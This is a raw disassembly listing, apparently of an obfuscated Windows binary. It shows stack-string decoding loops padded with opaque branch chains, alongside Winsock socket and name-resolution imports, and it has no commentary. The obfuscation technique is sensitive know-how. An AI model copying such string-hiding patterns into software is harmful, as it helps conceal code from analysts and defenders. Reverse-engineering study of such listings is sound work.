xor ebx, ebx
lea rcx, [rbp + 0x650]
call fcn.140135f90
lea rcx, [rbp + 0x650]
call fcn.140135980
lea rcx, [rbp + 0x670]
call fcn.140135f90
lea rcx, [rbp + 0x670]
call fcn.140135980
mov rax, qword [rbp + 0x8a0]
xorps xmm0, xmm0
mov dword [rbp + 0x475], 0x68776a54
mov byte [rbp + 0x479], 0x82
movups xmmword [rbp + 0x47a], xmm0
lea r15, [rax + rdi*8]
xor eax, eax
mov dword [rbp + 0x48a], eax
mov word [rbp + 0x48e], ax
mov byte [rbp + 0x490], al
nop dword [rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
mov r11, rbx
cmp r11, 0x1c
jae 0x140189b91
movzx r10d, byte [rbp + r11 + 0x475]
mov rbx, r10
nop dword [rax]
cmp r8, r11
ja 0x140189b88
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018908a
lea r14, [r11 + r12]
movzx eax, r14b
and al, bl
add al, al
sub r14b, al
add r14b, 0x39
add r14b, bl
jmp 0x1401890b0
je 0x140189b0c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140189a77
lea rax, [r9 + 4]
cmp r8, rax
je 0x140189a56
nop word [rax + rax]
cmp r9, r11
ja 0x140189b7f
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1401890da
lea ecx, [r11 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x53
jmp 0x140189123
lea rax, [r9 + 1]
cmp r8, rax
je 0x140189a14
inc rax
cmp r8, rax
je 0x1401899f0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401899cf
cmp r8, rcx
je 0x1401899a0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140189985
lea rax, [r9 + 6]
cmp r8, rax
je 0x140189958
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x140189697
lea rax, [r9 + 2]
cmp r8, rax
je 0x140189674
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140189650
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14018962a
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14018960c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401895e9
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1401895ce
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401895ae
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140189593
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140189561
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140189130
lea r8, [r9 + 8]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140189b60
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140189b41
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140189317
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401892fc
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1401892e1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140189518
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1401894cb
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14018948b
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140189465
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140189130
lea r8, [r9 + 3]
lea r9, [r8 + 2]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140189438
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140189418
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1401893fd
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1401893dd
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1401893bf
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14018939b
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14018937a
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140189356
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140189332
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140189130
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x41]
jmp 0x140189130
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0xd
jmp 0x140189123
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x7f
jmp 0x1401890b0
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0xf
jmp 0x140189056
lea edx, [r11 - 0x58]
mov ecx, reloc.WS2_32.dll_gethostbyname
movzx eax, dl
movzx ebx, r11b
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x140189a2d
lea ecx, [r11 + 0x26]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0xa
inc r11
jmp 0x140189043
lea ecx, [r11 - 0x5c]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x7c
inc r11
jmp 0x140189043
lea edx, [r11 + 0x22]
mov ecx, 9
movzx eax, dl
movzx ebx, r11b
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x14018990f
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x60
add r8, r9
jmp 0x1401899b6
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x1401899b6
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x44
jmp 0x140189a9d
lea edx, [r11 + 0x1a]
mov ecx, 0x25
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x140189ac5
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
lea r14d, [r10 + rcx]
sub r14b, 0x28
inc r11
jmp 0x140189043
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x45
mov byte [rbp + r11 + 0x475], r14b
inc r11
jmp 0x140189043
lea ecx, [r11 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x49
cmp r9, 0x64
jb 0x14018947b
mov edx, 0x1b
movzx ebx, r11b
lea ecx, [rbx - 0x1a]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r14d, [rdx + rdx]
jmp 0x140189a2d
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x29
cmp r8, 0x400
jae 0x1401898ed
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x14018986b
lea edx, [r11 - 0x2e]
mov ecx, 0x21
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x1401894a1
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x65
lea rax, [r9 + r8]
cmp rax, 8
je 0x140189935
lea rcx, [r9 + 6]
cmp r8, rcx
jbe 0x1401897c0
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x6b
jmp 0x1401894e1
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x140189043
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x64
jmp 0x140189ac5
lea edx, [r11 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x140189a9d
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x48
jmp 0x1401899b6
lea edx, [r11 - 0xa]
mov ecx, 0x23
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
add r8, r9
jmp 0x1401899b6
movzx ebx, r11b
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x2c
jmp 0x14018990f
lea edx, [r11 - 0xe]
mov ecx, gethostbyaddr
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x140189043
lea ecx, [r11 + 0x70]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x10
inc r11
jmp 0x140189043
mov ecx, 0x3f
movzx ebx, r11b
lea edx, [rbx - 0x12]
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x140189a2d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1401896be
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x39
jmp 0x14018952e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401896f9
lea edx, [r11 - 0x56]
mov ecx, 0x2d
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
inc r11
jmp 0x140189043
inc rax
cmp r8, rax
jne 0x14018971c
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x34
jmp 0x140189ac5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140189745
lea edx, [r11 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
jmp 0x140189a9d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140189769
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x50
jmp 0x1401899b6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140189795
lea edx, [r11 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
add r8, r9
jmp 0x1401899b6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018952e
movzx ebx, r11b
lea ecx, [rbx - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x16
jmp 0x140189a2d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401897e7
movzx ebx, r11b
lea ecx, [rbx - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 7
jmp 0x140189a2d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140189811
lea ecx, [r11 + 3]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x15
inc r11
jmp 0x140189043
cmp r8, rcx
jne 0x140189831
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x25
jmp 0x140189ac5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401894e1
lea ecx, [r11 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
lea r14d, [r10 + rcx]
sub r14b, 0x69
inc r11
jmp 0x140189043
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401898a1
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
lea r14d, [r10 + rcx]
sub r14b, 0x4c
inc r11
jmp 0x140189043
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401898c5
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x68
jmp 0x140189a9d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401894a1
movzx ebx, r11b
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x12
jmp 0x14018990f
movzx ecx, byte [rbp + r11 + 0x475]
movzx ebx, r11b
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
sub cl, al
add cl, 0x14
lea r14d, [rcx + rcx]
add r14b, dl
sub bl, 0x57
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x61
add bl, r14b
add bl, r10b
mov byte [rbp + r11 + 0x475], bl
add r8, r9
jmp 0x1401899b6
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x475]
lea r14d, [r10 + rcx]
sub r14b, 0x66
jmp 0x140189a9d
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
lea r14d, [r10 + rcx]
sub r14b, 0x51
inc r11
jmp 0x140189043
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x35
jmp 0x140189a9d
lea ecx, [r11 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x59
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140189043
lea ecx, [r11 - 0x25]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 3
inc r11
jmp 0x140189043
lea ecx, [r11 + 0x59]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x6f
inc r11
jmp 0x140189043
movzx ebx, r11b
lea ecx, [rbx - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x1f
add bl, 0x27
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x11
add bl, r10b
mov byte [rbp + r11 + 0x475], bl
inc r9
dec r11
inc r11
jmp 0x140189043
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
add r14b, 0x57
dec r11
inc r11
jmp 0x140189043
movabs rdx, 0x2ee0dbfb9925b9c7
movzx r14d, bl
add rdx, r11
movzx r10d, bl
movzx eax, dl
and al, bl
add al, al
sub r14b, al
sub r14b, 0x71
add r14b, dl
lea ecx, [r11 + 0x2b]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2d
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x475], al
add rax, r9
sub r11, rax
lea edx, [r11 + 0x6c]
inc r8
movzx eax, dl
mov ecx, 6
and al, r10b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x475], cl
add r11, rax
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
inc r11
jmp 0x140189043
movabs rcx, 0xcaf2a76bd3eb98c3
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r14d, [rbx + rcx]
sub r14b, 0x55
movzx eax, byte [rbp + r11 + 0x475]
add rax, r9
add r11, rax
inc r11
jmp 0x140189043
sub r11b, 0x3b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x63
xor ebx, ebx
jmp 0x140189040
add r11b, 0x43
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
add r14b, 0x2b
xor ebx, ebx
jmp 0x140189030
lea rdx, [rbp + 0x1439021]
jmp 0x140189b98
lea rdx, [rbp + 0x521862]
jmp 0x140189b98
lea rdx, [rbp + 0x475]
lea rcx, [rbp + 0x690]
call fcn.14013a710
lea r8, [rbp + 0x650]
mov rcx, r15
lea rdx, [rbp + 0x690]
call fcn.140151ed0
lea rcx, [rbp + 0x690]
call fcn.1401358f0
mov rax, qword [rbp + 0x8a0]
mov dword [rbp + 0x45a], 0xf8f6cad5
mov dword [rbp + 0x45e], 0xf3cdcec8
mov dword [rbp + 0x462], 0xf5c7f3f5
lea r12, [rax + rdi*8]
mov byte [rbp + 0x466], WSAGetLastError
xor eax, eax
mov qword [rbp + 0x467], rax
mov dword [rbp + 0x46f], eax
mov word [rbp + 0x473], ax
nop dword [rax]
mov r9, qword [0x14051e4d0]
mov r10, qword [0x14051e4d8]
nop
xor r11d, r11d
cmp r11, 0x1b
jae 0x14018a696
movzx eax, byte [rbp + r11 + 0x45a]
mov rdx, rax
nop dword [rax]
cmp r9, r11
ja 0x14018a68d
lea rcx, [r10 + 1]
cmp r9, rcx
jae 0x140189c73
movabs rsi, 0xc27dce6991fc0291
add rsi, r11
movzx ecx, sil
and cl, dl
add cl, cl
sub sil, cl
add sil, 9
add sil, dl
jmp 0x140189ca0
je 0x14018a61a
lea rcx, [r10 + 2]
cmp r9, rcx
je 0x14018a58a
lea rcx, [r10 + 5]
cmp r9, rcx
je 0x14018a55a
lea rcx, [r10 + 8]
cmp r9, rcx
je 0x14018a514
cmp r10, r11
ja 0x14018a684
lea rcx, [r10 + 0x80]
cmp r9, rcx
jae 0x140189ccb
lea edx, [r11 - 0x1b]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea esi, [rax + rdx]
sub sil, 0x43
jmp 0x140189d0c
lea rcx, [r10 + 1]
cmp r9, rcx
je 0x14018a4f8
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x14018a4d9
lea rcx, [r10 + 5]
cmp r9, rcx
je 0x14018a4c0
lea rcx, [r10 + 4]
cmp r9, rcx
je 0x14018a4a5
lea rcx, [r10 + 7]
cmp r9, rcx
je 0x14018a47a
nop dword [rax]
lea rcx, [r10 + r9]
cmp rcx, r11
jbe 0x14018a0dd
nop dword [rax]
lea rcx, [r10 + 0x10]
cmp r9, rcx
je 0x14018a0be
lea rcx, [r10 + 0x80]
cmp r9, rcx
je 0x14018a09c
lea rcx, [r10 + 0x40]
cmp r9, rcx
je 0x14018a077
lea rcx, [r10 + 0x400]
cmp r9, rcx
je 0x14018a054
lea rcx, [r10 + 0x7a]
cmp r9, rcx
je 0x14018a035
lea rcx, [r10 + 0x2a]
cmp r9, rcx
je 0x14018a016
lea rcx, [r10 + 3]
cmp r9, rcx
je 0x140189d20
lea r9, [r10 + 6]
lea r10, [r9 + 0xa]
lea rcx, [r10 + 3]
cmp r9, rcx
jb 0x14018a669
lea rcx, [r10 + 0xa]
cmp r9, rcx
jb 0x14018a64e
lea rcx, [r10 + 6]
cmp r9, rcx
jb 0x140189e6a
lea rcx, [r10 + 0x28]
cmp r9, rcx
jb 0x140189e51
lea rcx, [r10 + 0x64]
cmp r9, rcx
jb 0x140189f92
lea rcx, [r10 + 0x3e8]
cmp r9, rcx
jb 0x140189f4c
lea rcx, [r10 + 0x61]
cmp r9, rcx
jb 0x140189d20
lea r9, [r10 + 0x5a]
lea r10, [r9 + 0x3e8]
lea rcx, [r10 + 0x61]
cmp r9, rcx
ja 0x140189f1b
lea rcx, [r10 + 2]
cmp r9, rcx
ja 0x140189efc
lea rcx, [r10 + 0x5a]
cmp r9, rcx
ja 0x140189ee0
lea rcx, [r10 + 5]
cmp r9, rcx
ja 0x140189ec7
lea rcx, [r10 + 9]
cmp r9, rcx
ja 0x140189ea5
lea rcx, [r10 + 0x20]
cmp r9, rcx
ja 0x140189e83
lea rcx, [r10 + 0x42]
cmp r9, rcx
ja 0x140189d20
lea r9, [r10 + 0x200]
lea r10, [r9 + 0x20]
jmp 0x140189d20
lea edx, [r11 - 0x67]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea esi, [rax + rdx]
sub sil, 0x2f
jmp 0x140189ca0
lea edx, [r11 + 0x77]
movzx ecx, dl
and cl, al
add cl, cl
sub dl, cl
lea esi, [rax + rdx]
sub sil, 0x41
jmp 0x140189c36
lea edx, [r11 + 6]
movzx ecx, al
and cl, dl
inc r10
add cl, cl
dec r11
sub al, cl
lea esi, [rdx + rax]
sub sil, 0x2a
inc r11
jmp 0x140189c23
lea r8d, [r11 - 0x3e]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
movzx r15d, r11b
sub sil, cl
sub sil, 0x4e
add sil, r8b
jmp 0x14018a430
lea edx, [r11 + 0x7e]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
sub sil, 0x72
jmp 0x14018a571
mov edx, 0x3e
lea r8d, [r11 + 0x5c]
movzx ecx, al
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
jmp 0x14018a5ac
lea r8d, [r11 + 0x3a]
mov edx, getservbyname
movzx ecx, al
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
jmp 0x14018a5da
lea r8d, [r11 + 0x18]
movzx ecx, al
and cl, r8b
mov edx, 0x2c
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
movzx eax, byte [rbp + r11 + 0x45a]
add rax, r10
add sil, r8b
add r11, rax
inc r11
jmp 0x140189c23
lea edx, [r11 + 0x21]
movzx ecx, al
and cl, dl
movzx esi, al
add cl, cl
sub sil, cl
add sil, 0x19
add sil, dl
cmp r10, 4
jb 0x14018a3fa
mov edx, reloc.WS2_32.dll_inet_addr
movzx r15d, r11b
movzx ecx, al
lea r8d, [r15 - 0x3a]
and cl, r8b
sub dl, cl
add dl, dl
add dl, al
add dl, r8b
lea esi, [rdx + rdx]
jmp 0x14018a531
lea edx, [r11 - 0x23]
movzx ecx, al
and cl, dl
movzx esi, al
add cl, cl
sub sil, cl
sub sil, 0xb
add sil, dl
lea rcx, [r10 + r9]
cmp rcx, 0x3e8
je 0x14018a457
lea rcx, [r10 + 0x61]
cmp r9, rcx
jbe 0x14018a200
lea r8d, [r11 - 0x73]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
sub sil, cl
add sil, 0x25
add sil, r8b
cmp r9, 0x20
jae 0x14018a40a
lea rcx, [r10 + 0x42]
cmp r9, rcx
jbe 0x14018a2f3
lea r8d, [r11 + 0x72]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
sub sil, cl
sub sil, 0x1e
add sil, r8b
jmp 0x140189f64
lea r8d, [r11 + 0x3c]
mov edx, 0x2e
movzx ecx, al
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
jmp 0x14018a5da
lea r8d, [r11 - 8]
mov edx, 0x1c
movzx ecx, al
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
jmp 0x14018a571
mov edx, 0xa
movzx r15d, r11b
movzx ecx, al
lea r8d, [r15 - 0x4c]
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
jmp 0x14018a430
lea r8d, [r11 - 0x6e]
mov edx, 1
movzx ecx, al
dec r11
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
inc r11
jmp 0x140189c23
lea edx, [r11 + 0x70]
movzx ecx, al
and cl, dl
inc r10
add cl, cl
dec r11
sub al, cl
lea esi, [rdx + rax]
sub sil, 0x10
inc r11
jmp 0x140189c23
lea r8d, [r11 + 0x4e]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
movzx r15d, r11b
sub sil, cl
sub sil, 0x22
jmp 0x14018a52e
lea rcx, [r10 + 6]
cmp r9, rcx
jae 0x14018a100
lea edx, [r11 - 0x6f]
movzx ecx, al
and cl, dl
movzx esi, al
add cl, cl
sub sil, cl
add sil, 9
jmp 0x140189fa7
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x14018a13a
lea r8d, [r11 - 0x36]
movzx ecx, al
and cl, r8b
mov edx, 0x3d
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
movzx eax, byte [rbp + r11 + 0x45a]
add rax, r10
add sil, r8b
add r11, rax
inc r11
jmp 0x140189c23
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x14018a15e
lea r8d, [r11 + 0xe]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
sub sil, cl
sub sil, 0x62
jmp 0x14018a5ac
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x14018a180
lea edx, [r11 + 0x30]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
sub sil, 0x50
jmp 0x14018a571
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x14018a1ab
movzx r15d, r11b
movzx ecx, al
movzx esi, al
lea r8d, [r15 + 0x74]
and cl, r8b
add cl, cl
sub sil, cl
sub sil, 0x2c
add sil, r8b
jmp 0x14018a430
lea rcx, [r10 + 7]
cmp r9, rcx
jne 0x14018a1d3
lea edx, [r11 - 0x6a]
movzx ecx, al
and cl, dl
dec r11
add cl, cl
sub al, cl
lea esi, [rdx + rax]
sub sil, 0x1a
inc r11
jmp 0x140189c23
lea rcx, [r10 + 8]
cmp r9, rcx
jne 0x140189faa
mov edx, 5
movzx r15d, r11b
movzx ecx, al
lea r8d, [r15 - 0x26]
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
jmp 0x14018a52e
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x14018a228
movzx r15d, r11b
movzx ecx, al
movzx esi, al
lea r8d, [r15 - 0x51]
and cl, r8b
add cl, cl
sub sil, cl
add sil, 0x37
jmp 0x14018a52e
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x14018a250
lea edx, [r11 - 0xd]
movzx ecx, al
and cl, dl
dec r11
add cl, cl
sub al, cl
lea esi, [rdx + rax]
add sil, 0x5b
inc r11
jmp 0x140189c23
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x14018a272
lea edx, [r11 + 0x37]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
add sil, 0x7f
jmp 0x14018a56e
lea rcx, [r10 + 6]
cmp r9, rcx
jne 0x14018a294
lea edx, [r11 + 0x59]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
sub sil, 0x6f
jmp 0x14018a571
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x14018a2bb
lea r8d, [r11 - 0x63]
movzx ecx, al
and cl, r8b
movzx esi, al
add cl, cl
sub sil, cl
sub sil, 0x4b
add sil, r8b
jmp 0x14018a5da
lea rcx, [r10 + 4]
cmp r9, rcx
jne 0x140189fe1
lea edx, [r11 - 0x41]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
movzx eax, byte [rbp + r11 + 0x45a]
add rax, r10
sub sil, 0x39
add r11, rax
inc r11
jmp 0x140189c23
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x14018a327
lea edx, [r11 - 0x6c]
movzx ecx, al
and cl, dl
add cl, cl
sub al, cl
lea esi, [rdx + rax]
movzx eax, byte [rbp + r11 + 0x45a]
add rax, r10
sub sil, 0xc
add r11, rax
inc r11
jmp 0x140189c23
lea rcx, [r10 + 3]
cmp r9, rcx
jne 0x14018a34c
mov edx, reloc.WS2_32.dll_inet_ntoa
lea r8d, [r11 - 0x28]
movzx ecx, al
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
jmp 0x14018a5ac
lea rcx, [r10 + 2]
cmp r9, rcx
jne 0x14018a374
lea r8d, [r11 + 0x1c]
mov edx, 0x1e
movzx ecx, al
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
jmp 0x14018a56e
lea rcx, [r10 + 6]
cmp r9, rcx
jne 0x14018a3a0
mov edx, 0x27
movzx r15d, r11b
movzx ecx, al
lea r8d, [r15 + 0x3e]
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
jmp 0x14018a430
lea rcx, [r10 + 5]
cmp r9, rcx
jne 0x14018a3ce
lea r8d, [r11 + 0x60]
mov edx, gethostbyaddr
movzx ecx, al
dec r11
and cl, r8b
sub dl, cl
lea esi, [rdx + rdx]
add sil, al
add sil, r8b
inc r11
jmp 0x140189c23
lea rcx, [r10 + 9]
cmp r9, rcx
jne 0x140189f64
movzx r15d, r11b
movzx ecx, al
movzx esi, al
lea r8d, [r15 - 0x5c]
